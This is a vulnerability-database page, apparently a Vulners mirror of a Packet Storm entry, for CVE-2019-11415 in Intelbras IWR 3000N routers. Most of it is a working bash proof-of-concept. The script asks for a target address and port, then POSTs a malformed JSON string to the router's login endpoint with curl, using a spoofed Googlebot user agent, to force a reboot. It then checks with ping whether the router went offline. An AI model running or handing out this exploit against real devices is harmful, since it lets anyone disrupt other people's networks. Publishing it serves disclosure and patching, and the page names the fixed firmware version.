Lucene search
K

Intelbras IWR 3000N Denial Of Service

🗓️ 30 Apr 2019 00:00:00Reported by Social Engineering NeoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 50 Views

Intelbras IWR 3000N Denial Of Service vulnerability Po

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Intelbras IWR 3000N - Denial of Service (Remote Reboot) Vulnerability
1 May 201900:00
zdt
CVE
CVE-2019-11415
21 Apr 201919:38
cve
Cvelist
CVE-2019-11415
21 Apr 201919:38
cvelist
Exploit DB
Intelbras IWR 3000N - Denial of Service (Remote Reboot)
30 Apr 201900:00
exploitdb
exploitpack
Intelbras IWR 3000N - Denial of Service (Remote Reboot)
30 Apr 201900:00
exploitpack
NVD
CVE-2019-11415
22 Apr 201911:29
nvd
Prion
Code injection
22 Apr 201911:29
prion
RedhatCVE
CVE-2019-11415
22 May 202510:12
redhatcve
`#/bin/bash  
  
# PoC based on CVE-2019-11415 created by Social Engineering Neo.  
#  
# Credit: https://1.337.zone/2019/04/08/intelbras-iwr-3000n-any-version-dos-on-malformed-login-request/  
#  
# A malformed login request allows remote attackers to cause a denial of service (reboot), as demonstrated by JSON misparsing of the \""} string to v1/system/login.  
#  
# Upgrade to latest firmware version iwr-3000n-1.8.7_0 for 3000n routers to prevent this issue.  
  
clear  
read -p "Enter Target Address Followed by Port: " target port # localhost 8080  
  
alive=$(ping -c 1 $target | grep icmp* | wc -l)  
if [ "$alive" -eq 0 ]; then  
echo Target May be Offline or Blocking ICMP requests.  
read -p "Would you Like to Proceed? (Y/n): " ans  
if [ "$ans" = 'n' ] || [ "$ans" = 'N' ]; then  
clear  
exit  
fi  
fi  
  
if [ "$port" -lt 65536 ] && [ "$port" -gt 0 ]; then  
grab=$(curl -s -A 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' --compressed --data-binary '\""}' $target:$port/v1/system/login)  
else  
echo "Incorrect Port."  
fi  
  
clear  
alive=$(ping -c 1 $target | grep icmp* | wc -l)  
if [ "$alive" -eq 0 ]; then  
echo Router Successfully Taken Offline. #NOTE: if router blocks ICMP requests this may be inaccurate.  
else  
echo Exploit Unsuccessfull, Target May Not be Vulnerable.  
fi  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Apr 2019 00:00Current
7.6High risk
Vulners AI Score7.6
EPSS0.27762
50